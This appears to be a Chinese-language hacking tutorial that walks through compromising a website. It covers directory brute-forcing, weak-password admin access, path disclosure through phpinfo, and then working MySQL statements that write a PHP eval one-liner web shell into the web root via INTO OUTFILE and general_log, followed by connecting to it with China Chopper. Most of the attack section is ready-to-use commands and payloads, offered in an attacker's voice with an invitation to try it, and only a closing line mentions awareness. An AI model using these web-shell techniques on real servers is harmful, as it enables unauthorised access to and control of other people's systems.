想象我们正在日站的时候:
- 假如我们通过爆破目录等方式找到网页的后台
- 然后弱密码进入后台
查看phpinfo,获得网站在该服务器上的绝对路径
这样,就像一个赤裸裸的身体摆在我们的面前。我们除了获取数据之外还能干什么呢?肯定是提权啦!
提权
方法一:在数据库中建表,存入一句话木马,然后导出文件
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[baji]);?>');
select cmd from a into outfile 'D:/phpstudy/www/d.php';
Drop TABLE IF EXISTS a; 一句话连接密码:baji
当我们点击运行语句后,竟然报错:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
这里是因为设置了secure_file_priv,不能执行;想要修改其值,得在配置文件中修改,没拿到权限修改不了。所以这条路是行不通的。
果不其然,我们查看下检测插入条件
SHOW VARIABLES LIKE "secure_file_priv";
该键有值,NULL则为不能导出,如果有其他值的话,则只能导入这个值指定的目录。只有空的情况下,才可以导出。
方法二:通过日志记录功能插入一句话木马
检查日志记录相关的全局变量的值:SHOW VARIABLES LIKE "general%";
这里,我们将它设置为 ON
set global general_log = "ON";
开启general_log 的作用:开启它可以记录用户输入的每条命令
SET global general_log_file='D:/phpstudy/WWW/xiaoma.php';
select '<?php eval($_POST[biaji]);?>';
设置日志文件的路径,然后执行SQL语句,这个语句将被记录在日志文件中。
执行成功后。
这样,我们用菜刀,一句话密码:biaji 连接这个日志文件
看,已经连接上了,我们再看看日志文件内容长什么样
可以看到,日志文件里,完整地把“写入日志里,再加上文件后缀为.php,所以菜刀可以轻易地连上。
最后,我们通过 爆后台+敏感信息泄露+一句话木马文件导出 等组合拳成功将网站提权。
从这里我们可以看到,小小的失误都有可能成为对方提权的手段,像敏感路径信息泄露这种,谁曾想到在这个提权过程是起到关键的作用的:如果没有绝对路径,我们是不知道把文件建立在何处,更不用说通过菜刀去访问它了。
所以,星星之火可以燎原,不管是网站维护人员还是平常上网的人们,都应该重视这些网络安全问题,提高自身的安全意识。
小伙伴们也亲自动手操作试试看吧